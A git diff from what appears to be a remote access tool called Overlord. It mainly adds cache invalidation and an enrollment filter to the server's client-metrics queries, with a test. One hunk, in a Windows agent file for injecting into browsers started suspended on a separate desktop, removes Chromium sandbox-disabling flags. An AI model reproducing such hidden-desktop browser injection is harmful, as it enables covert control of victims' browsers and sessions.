diff --git a/Overlord-Client/cmd/agent/capture/backstage_inject_windows.go b/Overlord-Client/cmd/agent/capture/backstage_inject_windows.go index 168459c..2fbe389 100644 --- a/Overlord-Client/cmd/agent/capture/backstage_inject_windows.go +++ b/Overlord-Client/cmd/agent/capture/backstage_inject_windows.go @@ -1148,7 +1148,7 @@ func createSuspendedProcessOnDesktop(filePath, searchPath, replacePath, shmName } baseName := strings.ToLower(filepath.Base(filePath)) if chromiumExes[baseName] { - args += " --no-sandbox --allow-no-sandbox-job --disable-gpu-sandbox" + args += " " } else if baseName == "firefox.exe" || baseName == "waterfox.exe" { args += " -no-remote -wait-for-browser" } diff --git a/Overlord-Server/src/client-order.test.ts b/Overlord-Server/src/client-order.test.ts index 2ce4a5e..70ffa45 100644 --- a/Overlord-Server/src/client-order.test.ts +++ b/Overlord-Server/src/client-order.test.ts @@ -1,6 +1,6 @@ import { afterAll, describe, expect, test } from "bun:test"; import { db } from "./db/connection"; -import { deleteClientRow, listClients, setClientBookmark, setClientTag, upsertClientRow } from "./db"; +import { deleteClientRow, getClientMetricsSummary, listClients, setClientBookmark, setClientTag, upsertClientRow } from "./db"; const createdClientIds: string[] = []; @@ -142,6 +142,56 @@ describe("client list ordering", () => { }); }); +describe("client metrics summary", () => { + test("operating system breakdown excludes purgatory clients", () => { + try { + const prefix = `metrics-purgatory-${Date.now().toString(36)}`; + const approvedOs = `${prefix}-approved-os`; + const pendingOs = `${prefix}-pending-os`; + const before = getClientMetricsSummary(); + + upsertClientRow({ + id: `${prefix}-approved`, + hwid: `${prefix}-approved`, + role: "client", + host: "approved-host", + os: approvedOs, + arch: "amd64", + version: "1.0.0", + user: "tester", + country: "US", + lastSeen: Date.now(), + online: 1, + enrollmentStatus: "approved", + }); + createdClientIds.push(`${prefix}-approved`); + + upsertClientRow({ + id: `${prefix}-pending`, + hwid: `${prefix}-pending`, + role: "client", + host: "pending-host", + os: pendingOs, + arch: "amd64", + version: "1.0.0", + user: "tester", + country: "US", + lastSeen: Date.now(), + online: 0, + enrollmentStatus: "pending", + }); + createdClientIds.push(`${prefix}-pending`); + + const after = getClientMetricsSummary(); + + expect(after.byOS[approvedOs]).toBe((before.byOS[approvedOs] || 0) + 1); + expect(after.byOS[pendingOs] || 0).toBe(before.byOS[pendingOs] || 0); + } finally { + cleanupCreatedClients(); + } + }); +}); + describe("client search index", () => { function getSearchIndexRow(id: string) { return db diff --git a/Overlord-Server/src/db/repositories.ts b/Overlord-Server/src/db/repositories.ts index a4d9550..f51f116 100644 --- a/Overlord-Server/src/db/repositories.ts +++ b/Overlord-Server/src/db/repositories.ts @@ -292,6 +292,7 @@ export function upsertClientRow( partial.id, ); } + invalidateClientMetricsSummaryCache(); } export function setOnlineState(id: string, online: boolean, disconnectReason?: string, disconnectDetail?: string) { @@ -310,14 +311,17 @@ export function setOnlineState(id: string, online: boolean, disconnectReason?: s id, ); } + invalidateClientMetricsSummaryCache(); } export function deleteClientRow(id: string) { db.run(`DELETE FROM clients WHERE id=?`, id); + invalidateClientMetricsSummaryCache(); } export function deleteOfflineClientRows(): number { const result = db.run(`DELETE FROM clients WHERE online=0`); + invalidateClientMetricsSummaryCache(); return (result as any)?.changes || 0; } @@ -618,6 +622,7 @@ function mapSessionRow(row: any): SessionRecord { export function markAllClientsOffline() { db.run(`UPDATE clients SET online=0`); + invalidateClientMetricsSummaryCache(); console.log("[db] marked all clients as offline"); } @@ -1156,6 +1161,11 @@ const CLIENT_METRICS_SUMMARY_TTL_MS = 4_000; let clientMetricsSummaryCache: { expiresAt: number; summary: ClientMetricsSummary } | null = null; const userClientMetricsSummaryCache = new Map(); +function invalidateClientMetricsSummaryCache() { + clientMetricsSummaryCache = null; + userClientMetricsSummaryCache.clear(); +} + function cloneClientMetricsSummary(summary: ClientMetricsSummary): ClientMetricsSummary { return { total: summary.total, @@ -1215,6 +1225,7 @@ export function getClientMetricsSummary(): ClientMetricsSummary { COUNT(*) as total, SUM(CASE WHEN online=1 THEN 1 ELSE 0 END) as online FROM clients + WHERE COALESCE(enrollment_status, 'pending')='approved' GROUP BY COALESCE(NULLIF(os, ''), 'unknown')`, ) .all(); @@ -1259,7 +1270,7 @@ export function getClientMetricsSummaryForUser(userId: number): ClientMetricsSum COALESCE(NULLIF(os, ''), 'unknown') as key, COUNT(*) as total, SUM(CASE WHEN online=1 THEN 1 ELSE 0 END) as online - FROM clients ${filter} + FROM clients ${filter} AND COALESCE(enrollment_status, 'pending')='approved' GROUP BY COALESCE(NULLIF(os, ''), 'unknown')`, ) .all(userId); @@ -1957,7 +1968,9 @@ export function setClientEnrollmentStatus( status === "denied" ? (denyReason ?? null) : null, id, ); - return ((result as any)?.changes || 0) > 0; + const changed = ((result as any)?.changes || 0) > 0; + if (changed) invalidateClientMetricsSummaryCache(); + return changed; } export function lookupClientByPublicKey(